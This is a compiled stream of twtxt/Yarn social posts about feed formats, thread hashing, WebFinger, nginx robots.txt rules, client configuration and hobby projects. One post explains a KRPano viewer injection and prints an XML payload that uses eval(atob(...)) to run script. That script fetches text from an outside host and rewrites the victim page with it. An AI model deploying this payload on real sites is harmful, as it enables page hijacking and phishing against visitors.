Added support for uploading images to to #Timeline
Right now you need to copy the markdown code yourself, but next up would be to lean some JS or use HTMX to make the process more smooth.
@andros@twtxt.andros.dev it seems your GtS has issues:
Warning! It looks like trusted-proxies is not set correctly in this instance’s configuration. This may cause rate-limiting issues and, by extension, federation issues.
If you are the instance admin, you should fix this by adding 10.66.66.1/32 to your trusted-proxies.
robots.txt
file. only noticed it because the OpenAI bot was hitting me with a lot of nonsensical requests. here is the list from last month:
@bmallred@staystrong.run Surprisingly, my
User-agent: *
Disallow: /
seems to work. Or maybe those bastards change their user agent and claim to be someone nice. In any case, I just added a bunch of
location = /robots.txt {
add_header Content-Type text/plain;
return 200 "User-agent: *\nDisallow: /\n";
}
in my nginx config. No need for any bot to visit, crawl and index most of my sites.
Harden AD 2 https://github.com/LoicVeirman/HardenAD
@xuu@txt.sour.is I added some logging when a “dead” peer is removed as I suspect this to be a hot candidate for all the trouble. https://git.mills.io/yarnsocial/yarn/commit/21538951f9dc71b9366db6dbb784a8078096a4c8 Does this yield anything?
I want to share a little idea for a new extension with the goal of adding direct messages in #twtxt https://github.com/tanrax/twtxt-direct-message-extension
@<url>
form of mentions. Strictly require that all mentions include a nickname/name; i.e: @<name url>
.
Sounds about as complex as adding @nick@domain
support by doing a webfinger lookup to get the URL.
@lyse@lyse.isobeef.org Yeah, what else does one need? 😅
I added more instructions, made it portable (so it runs on my own OS as well as Linux/DOS/whatever), and the assembler is now good enough to be used in the build process to compile the bootloader:
That is pretty cool. 😎
It’s still a “naive” assembler. There are zero optimizations and it can’t do macros (so I had to resort to using cpp
). Since nothing is optimized, it uses longer opcodes than NASM and that makes the bootloader 11 bytes too large. 🥴 I avoided that for now by removing some cosmetic output from the bootloader.
So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml
parameter has a url that contains the following
<?xml version="1.0"?>
<krpano version="1.0.8.15">
<SCRIPT id="allow-copy_script"/>
<layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>
the omit above is base64 encoded script below:
const queryParams = new URLSearchParams(window.location.search),
id = queryParams.get('id');
id ? fetch('https://sour.is/superhax.txt')
.then(e => e.text())
.then(e => {
document.open(), document.write(e), document.close();
})
.catch(e => {
console.error('Error fetching the user agent:', e);
}) : console.error('No');
this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.
I need an alternative news source… Something I can shove into feeds.twtxt.net that helps me keep up-to-date with Tech and other important news 🗞️ Hmmm 🤔 Suggestions? I can’t stand Slashdot anymore since they’ve decided to come down hard on ad-blockers 🤦♂️
v1.23.4
will there ever be a v1.23.45678? 🫠🤡
@aelaraji@aelaraji.com Reminds me a bit of TeX which approaches pi by adding a digit with each bug fix in its version number. https://en.wikipedia.org/wiki/TeX#TeX82
Yeah, @bender@twtxt.net, I absolutely love it! :-D Monty Python just rocks!
This very knight inspired me to make myself a knight helmet with opening visor out of an old washing machine sheet metal years ago for a theater play. It was really great fun, both making the helmet as well as using it during the week in the play as a silly and shady prince who got all his tracts of land by winning dubious games.
I just couldn’t really hear very well in it. And if somebody hit me on the head or just slightly knocked on the helmet, it was incredibly loud. No fine craftmanship by any means and obviously historically extremely questionable at best, but it did the job well enough. One of the running gags was that I had to open the visor when I wanted to talk. Here are some photos in action, you’ll find many more when surfing through the gallery:
- https://wawuwo.de/2016/woche2/montag/017.html#image
- https://wawuwo.de/2016/woche2/dienstag/019.html#image
- https://wawuwo.de/2016/woche2/mittwoch/156.html#image
- https://wawuwo.de/2016/woche2/donnerstag/008.html#image
- https://wawuwo.de/2016/woche2/freitag/036.html#image In one lunch break my page and I decided to dress up and play a game of dice against the kids. However, we used badly cogged dice. We just added a few dots of paint on one of the two dice, so that it had two fours, two fives and two sixes or something like that. I always told my opponents: “You can choose whatever dice you want. Except for the red one, that’s my lucky dice!” As well-behaved children, they then selected the blue, unbiased one. And usually lost. However, I remember there was one kid that beat me with four sixes in row. :-D Although we thought, we make it halfway obvious that this game is truly not fair, it took them extremely long to figure out that we had messed with my lucky dice. When they finally did, they got super angry. Some of them were on the brink of beating me up. That was really nice to see their sense of justice kick it. :-)
- https://wawuwo.de/2016/woche2/freitag/169.html#image
i like this little ideas utility i’ve been using like i keep pulling up the idea table to see what i’ve added and it makes me wanna start one of them like the CLI app i wanna write in golang with charmbracelet’s bubbletea even though i only have a vague idea of what i want in a CLI app
Apple has agreed to pay $95 million to settle a lawsuit alleging that its voice assistant Siri routinely recorded private conversations that were then sold to third parties for targeted ads.
From Siri “unintentionally” recorded private convos; Apple agrees to pay $95M https://arstechnica.com/tech-policy/2025/01/apple-agrees-to-pay-95m-delete-private-conversations-siri-recorded/
I’m not sure I’m convinced Apple is really that much better than the other big tech companies when it comes to this kind of thing. Their reputation is better and they do seem to be better about things like on-device encryption, but then stories like this come out.
@kat@yarn.girlonthemoon.xyz just spent like an hour playing with this and adding newjeans ASCII art this is the cutest shit ever
@kat@yarn.girlonthemoon.xyz i was adding catppuccin themes everywhere possible last night right but now my desktop wallpaper & conky widget, which are just black & white, don’t really match, so i need something dark purple tinged! i’ll make a quick edit later
@prologic@twtxt.net Well I just mirrored yarnd’s JSON in my webfinger endpoint and lookup, so not much else to do for standardization.
And for people who don’t like PHP you can always just go with Added WebFinger support to my email address using one rewrite rule and one static file. or simply putting a static JSON in place for .well-know/webfinger
@eapl.me@eapl.me why not https://domain.com/.well-known/twtxt/:domain/:user
?
the business card test is this can you write it on your business card and have someone you give it to be able to figure it out without added context?
- phone number: yes because everyone knows what a phone number is.
- email address: yes, everyone knows an email and their aol or prodigy will let them email.
- twitter/x/insta/pintrest handle: no, whats a twitter? do i need to sign up?
- domain name: yes its simple and you just type it in a browser right?
- twtxt url: kinda? its a bit long and is that a forward slash? or a backward slash?
According to internet it’s adshield and i dont think you should allow this domain: https://redlib.nadeko.net/r/uBlockOrigin/comments/188khmu/site_breaks_with_error_unless_ad_domain_is/
added a feature to generate rss and json feeds in txtlog
Cleaned up my npm package for twthash; made it CommonJS compatible, added more documentation and even a test. Current version is 1.2.2
Added TwtHash hashes to every message on my personal Twtxt HTML renderer. Code is not yet ready for prime-time. Need to work out some kinks still.
@skinshafi@thunix.net You might want to consider adding basic caching support:
… returned 200 but no Last-Modified header - can’t cache content
# nick = skinshafi
so... should I scream buuug ? 🤔
@prologic@twtxt.net You know what! let me get back to you on that–I’ve never never tried to do CGI scripting before and have zero knowledge about it.
/Me adding a new entry in a #Todo list.
testing the bluesky cross-poster i added into my silly python script for posting status updates
@eapl.me@eapl.me adding public $timestamp;
to the class Twt
in libs/twtxt.php (line 25) fixed that for me but probably broken something else 😅 …
Also I’m thinking on adding support for If-Modified-Since
since it’ll improve the refreshing process 🤔
@2024-10-08T19:36:38-07:00@a.9srv.net Thanks for the followup. I agrees with most of it - especially:
Please nobody suggest sticking the content type in more metadata. 🙄
Yes, URL can be considered ugly, but they work and are understandable by both humans and machines. And its trivial for any client to hide the URLs used as reference in replies/treading.
Webfinger can be an add-on to help lookup people, and it can be made independent of the nick by just serving the same json regardless of the nick as people do with static sites and a as I implemented it on darch.dk (wf endpoint). Try RANDOMSTRING@darch.dk
on http://darch.dk/wf-lookup.php (wf lookup) or RANDOMSTRING@garrido.io
on https://webfinger.net
i don’t normally reach for go when starting a project, but this pubsub gemini thing seems like a great addition to ~solderpunk/molly-brown and i was already intended on adding titan support so i might as well get familiar with the codebase.
f
:
@aelaraji@aelaraji.com You could just remove the {getuser()} part because you added ~.
I forgot to git add a new test file. Added to the patch now at https://www.falsifian.org/a/oDtr/patch0.txt
@prologic@twtxt.net how about hashing a combination of nick/timestamp, or url/timestamp only, and not the twtxt content? On edit those will not change, so no breaking of threads. I know, I know, just adding noise here. :-P
@falsifian@www.falsifian.org “I don’t really mind if the twt gets edited before I even fetch it.”, right, that’s never the problem. Editing a twtxt before anyone fetches it isn’t even editing, right? :-P The problem we are trying to fix is the havoc is causes editing twtxts that have already been replied to, often ad nauseam. That’s the real problem.
Thank you for adding the feature so fast, @prologic@twtxt.net! Look at how beautiful this one renders now. Oh my!
@sorenpeter@darch.dk I like this idea. Just for fun, I’m using a variant in this twt. (Also because I’m curious how it non-hash subjects appear in jenny and yarn.)
URLs can contain commas so I suggest a different character to separate the url from the date. Is this twt I’ve used space (also after “replyto”, for symmetry).
I think this solves:
- Changing feed identities: although @mckinley@twtxt.net points out URLs can change, I think this syntax should be okay as long as the feed at that URL can be fetched, and as long as the current canonical URL for the feed lists this one as an alternate.
- editing, if you don’t care about message integrity
- finding the root of a thread, if you’re not following the author
An optional hash could be added if message integrity is desired. (E.g. if you don’t trust the feed author not to make a misleading edit.) Other recent suggestions about how to deal with edits and hashes might be applicable then.
People publishing multiple twts per second should include sub-second precision in their timestamps. As you suggested, the timestamp could just be copied verbatim.
@bender@twtxt.net LOL normally things (in the vanilla template) render like <time class="dt-published" datetime="2024-09-17T15:05:19+01:00"> 2024-09-17 14:05:19 +0000 UTC+0000 </time>
the datetime=...
atribute is in my local time UTC+1 then the text within the tag is in UTC+0
The thing is, I’ve been poking at the template as well, but nothing changes. I literally whole portionsm added in lorem text just to see if it would do anything, then twtxt2html -T ./layout.html <link to twtxt file> | less
shows same thing as before! nothing changes. LOL I’m not sure I’m going at it the right way.
@movq@www.uninformativ.de Non-ASCII characters were broken. Like U+2028, degrees (°), etc.
Turns out I used a silly library to detect the encoding and transform to UTF-8 if needed. When there is no Content-Type header, like for local files, it looks at the first 1024 bytes. Since it only saw ASCII in that region, the damn thing assumed the data to be in Windows-1252 (which for web pages kinda makes sense):
// TODO: change default depending on user's locale?
return charmap.Windows1252, "windows-1252", false
https://cs.opensource.google/go/x/net/+/master:html/charset/charset.go;l=102
This default is hardcoded and cannot be changed.
Trying to be smart and adding automatic support for other encodings turned out to be a bad move on my end. At least I can reduce my dependency list again. :-)
I now just reject everything that explicitly specifies something different than text/plain
and an optional charset other than utf-8
(ignoring casing). Otherwise I assume it’s in UTF-8 (just like the twtxt file format specification mandates) and hope for the best.
(#hash;#originalHash)
would also work.
Maybe I’m being a bit too purist/minimalistic here. As I said before (in one of the 1372739 posts on this topic – or maybe I didn’t even send that twt, I don’t remember 😅), I never really liked hashes to begin with. They aren’t super hard to implement but they are kind of against the beauty of the original twtxt – because you need special client support for them. It’s not something that you could write manually in your
twtxt.txt
file. With @sorenpeter@darch.dk’s proposal, though, that would be possible.
Tangentially related, I was a bit disappointed to learn that the twt subject extension is now never used except with hashes. Manually-written subjects sounded so beautifully ad-hoc and organic as a way to disambiguate replies. Maybe I’ll try it some time just for fun.
@aelaraji@aelaraji.com I just added support for passing a custom template file via -T/--template
in case you need a custom template 👌
prologic@JamessMacStudio
Wed Sep 18 01:27:29
~/Projects/yarnsocial/twtxt2html
(main) 130
$ ./twtxt2html --help
Usage: twtxt2html [options] FILE|URL
twtxt2html converts a twtxt feed to a static HTML page
-d, --debug enable debug logging
-l, --limit int limit number ot twts (default all) (default -1)
-n, --noreldate do now show twt relative dates
-r, --reverse reverse the order of twts (oldest first)
-T, --template string path to template file
-t, --title string title of generated page (default "Twtxt Feed")
-v, --version display version information
pflag: help requested
@prologic@twtxt.net 🤯 HOLLY! … I’m definitely adding this to my Jenny’s publish_command
script!! THANK YOU! Now my website has TWO pages instead of just a boring one 😂
you can just have a web address.. i added mine.. though i think they have changed up the protocol so my key doesn’t seem to work anymore. https://key.sour.is/id/me@sour.is
Bluesky Adds 2 Million New Users After Brazil’s X Ban
In the days following Brazil’s shutdown of X, the decentralized social networking startup Bluesky added over 2 million new users, up from just half a million as of Friday. “This rapid growth led some users to encounter the occasional error that would state there were ‘Not Enough Resources’ to handle requests, as Bluesky engineers scrambled to keep the servers stable un … ⌘ Read more
@cuaxolotl@sunshinegardens.org Ah, thanks for reporting back! Okay, so you’re basically manually “crawling” feeds right now. 🤔 What do you think about the idea of adding something like # follow_notify = gemini://foo/bar
to your feed’s metadata, so that clients who follow you can ping that URL every now and then? How would you even notice that, do you regularly read your gemini logs? 🤔
mutt
/neomutt
users out here, what's the trick to highlight threads with new messages? No user interaction, just upon opening, or while opened, have threads with new, unread messages in it highlighted. Thanks!
@movq@www.uninformativ.de I think I have got it, but need to test upon receiving further posts. I added:
set uncollapse_new = yes # open threads when new mail
set uncollapse_jump = yes # jump to unread message when uncollapse
set collapse_unread = no # don't collapse threads with unread mails
Let’s see how it goes.
@movq@www.uninformativ.de, maybe you can help me with this. I want to place the vim
cursor at the end of the first line on replies, and forks. I have tried adding to this to jenny
’s configuration:
"editor": "vim \"+normal $\"",
But that doesn’t work. How would you go about it?
@movq@www.uninformativ.de, that would be a nice addition. :-) I would also love the ability to hide/not show the hash when reading twtxts (after all, that’s on the header on each “email”). Could that be added as a user configurable toggle?
@movq@www.uninformativ.de I don’t know if I’d want to discard the twts. I think what I’m looking for is a command “jenny -g https://host.org/twtxt.txt” to fetch just that one feed, even if it’s not in my follow list. I could wrap that in a shell script so that when I see a twt in reply to a feed I don’t follow, I can just tap a key and the feed will get added to my maildir. I guess the script would look for a mention at the start of a selected twt and call jenny -g on the feed.
@movq@www.uninformativ.de Is there a good way to get jenny to do a one-off fetch of a feed, for when you want to fill in missing parts of a thread? I just added @slashdot@feeds.twtxt.net to my private follow file just because @prologic@twtxt.net keeps responding to the feed :-P and I want to know what he’s commenting on even though I don’t want to see every new slashdot twt.
@prologic@twtxt.net Yeah, I’ve noticed that as well when I hacked around. That’s a very good addition, ta! :-)
Getting to this view felt suprisingly difficult, though. I always expected my feeds I follow in the “Feeds” tab. You won’t believe how many times I clicked on “Feeds” yesterday evening. :-D Adding at least a link to my following list on the “Feeds” page would help my learning resistence. But that’s something different.
Also, turns out that “My Feeds” is the list of feeds that I author myself, not the ones I have subscribed to. The naming is alright, I can see that it makes sense. It just was an initial surprise that came up.
@prologic@twtxt.net Fair enough! I just added some metadata.